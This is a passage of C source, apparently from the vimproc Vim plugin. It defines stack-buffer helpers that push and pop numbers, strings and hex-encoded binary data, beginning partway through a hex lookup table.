"CC" "CD" "CE" "CF" "D0" "D1" "D2" "D3" "D4" "D5" "D6" "D7" "D8" "D9" "DA" "DB" "DC" "DD" "DE" "DF" "E0" "E1" "E2" "E3" "E4" "E5" "E6" "E7" "E8" "E9" "EA" "EB" "EC" "ED" "EE" "EF" "F0" "F1" "F2" "F3" "F4" "F5" "F6" "F7" "F8" "F9" "FA" "FB" "FC" "FD" "FE" "FF"; static void vp_stack_free(vp_stack_t *stack); static const char *vp_stack_from_args(vp_stack_t *stack, char *args); static const char *vp_stack_return(vp_stack_t *stack); static const char *vp_stack_return_error(vp_stack_t *stack, const char *fmt, ...); static const char *vp_stack_reserve(vp_stack_t *stack, size_t needsize); static const char *vp_stack_pop_num(vp_stack_t *stack, const char *fmt, void *ptr); static const char *vp_stack_pop_str(vp_stack_t *stack, char **str); static const char *vp_stack_pop_bin(vp_stack_t *stack, char **buf, size_t *size); static const char *vp_stack_push_num(vp_stack_t *stack, const char *fmt, ...); static const char *vp_stack_push_str(vp_stack_t *stack, const char *str); static const char *vp_stack_push_bin(vp_stack_t *stack, const char *buf, size_t size); static void vp_stack_free(vp_stack_t *stack) { if (stack->buf != NULL) { free((void *)stack->buf); stack->size = 0; stack->buf = NULL; stack->top = NULL; } } /* make readonly stack from arguments */ static const char * vp_stack_from_args(vp_stack_t *stack, char *args) { if (args == NULL || args[0] == '\0') { stack->size = 0; stack->buf = NULL; stack->top = NULL; } else { stack->size = strlen(args); /* don't count end of NUL. */ stack->buf = args; stack->top = stack->buf + stack->size; if (stack->top[-1] != VP_EOV) return "vp_stack_from_buf: no EOV"; } return NULL; } /* clear stack top and return stack buffer */ static const char * vp_stack_return(vp_stack_t *stack) { /* make sure *top == '\0' because the previous value can not be * cleared when no value is assigned. */ if (stack->top != NULL) stack->top[0] = '\0'; stack->top = stack->buf; return stack->buf; } /* push error message and return */ static const char * vp_stack_return_error(vp_stack_t *stack, const char *fmt, ...) { va_list ap; size_t needsize; needsize = (stack->top - stack->buf) + VP_ERRMSG_SIZE; if (vp_stack_reserve(stack, needsize) != NULL) return fmt; va_start(ap, fmt); stack->top += vsnprintf(stack->top, stack->size - (stack->top - stack->buf), fmt, ap); va_end(ap); return vp_stack_return(stack); } /* ensure stack buffer is needsize or more bytes */ static const char * vp_stack_reserve(vp_stack_t *stack, size_t needsize) { if (needsize > stack->size) { size_t newsize; char *newbuf; newsize = (stack->size == 0) ? VP_INITIAL_BUFSIZE : (stack->size * 2); while (needsize > newsize) { newsize *= 2; if (newsize <= stack->size) /* paranoid check */ return "vp_stack_reserve: too big"; } if ((newbuf = (char *)realloc(stack->buf, newsize)) == NULL) return "vp_stack_reserve: NOMEM"; stack->top = newbuf + (stack->top - stack->buf); stack->buf = newbuf; stack->size = newsize; } return NULL; } static const char * vp_stack_pop_num(vp_stack_t *stack, const char *fmt, void *ptr) { char fmtbuf[VP_NUMFMT_BUFSIZE]; int n; char *top; if (stack->buf == stack->top) return "vp_stack_pop_num: stack over flow"; top = stack->top - 1; while (top != stack->buf && top[-1] != VP_EOV) --top; strcpy(fmtbuf, fmt); strcat(fmtbuf, "%n"); if (sscanf(top, fmtbuf, ptr, &n) != 1 || top[n] != VP_EOV) return "vp_stack_pop_num: sscanf error"; stack->top = top; return NULL; } /* str will be invalid after vp_stack_push_*() */ static const char * vp_stack_pop_str(vp_stack_t *stack, char **str) { char *top; if (stack->buf == stack->top) return "vp_stack_pop_str: stack over flow"; top = stack->top - 1; while (top != stack->buf && top[-1] != VP_EOV) --top; *str = top; stack->top[-1] = '\0'; stack->top = top; return NULL; } /* bin is hexdump */ static const char * vp_stack_pop_bin(vp_stack_t *stack, char **buf, size_t *size) { char *p; char ub, lb; size_t gain = 0; VP_RETURN_IF_FAIL(vp_stack_pop_str(stack, buf)); p = *buf; while (*p) { ub = CHR2XD[(unsigned char)*(p++)]; lb = CHR2XD[(unsigned char)*(p++)]; if (ub < 0 || lb < 0) return "vp_stack_pop_bin: sscanf error"; (*buf)[gain++] = (char)((ub << 4) | (lb << 0)); } *size = gain; return NULL; } static const char * vp_stack_push_num(vp_stack_t *stack, const char *fmt, ...) { va_list ap; char buf[VP_NUM_BUFSIZE]; va_start(ap, fmt); if (vsprintf(buf, fmt, ap) < 0) { va_end(ap); return "vp_stack_push_num: vsprintf error"; } va_end(ap); return vp_stack_push_str(stack, buf); } static const char * vp_stack_push_str(vp_stack_t *stack, const char *str) { size_t needsize; needsize = (stack->top - stack->buf) + strlen(str) + sizeof(VP_EOV_STR); VP_RETURN_IF_FAIL(vp_stack_reserve(stack, needsize)); stack->top += sprintf(stack->top, "%s%c", str, VP_EOV); return NULL; } static const char * vp_stack_push_bin(vp_stack_t *stack, const char *buf, size_t size) { size_t needsize; size_t i; char *bs; needsize = (stack->top - stack->buf) + (size * 2) + sizeof(VP_EOV_STR); VP_RETURN_IF_FAIL(vp_stack_reserve(stack, needsize)); for (i = 0; i < size; ++i) { bs = (char *)&XD2CHR[(unsigned char)(buf[i]) * 2]; *(stack->top++) = bs[0]; *(stack->top++) = bs[1]; } *(stack->top++) = VP_EOV; return NULL; }